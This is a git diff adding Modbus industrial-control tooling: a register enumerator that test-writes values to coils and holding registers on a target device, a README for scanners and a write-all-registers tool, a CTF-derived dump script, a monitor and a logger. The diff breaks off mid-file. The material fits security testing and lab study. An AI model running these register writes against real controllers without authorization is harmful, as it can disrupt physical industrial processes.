TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus 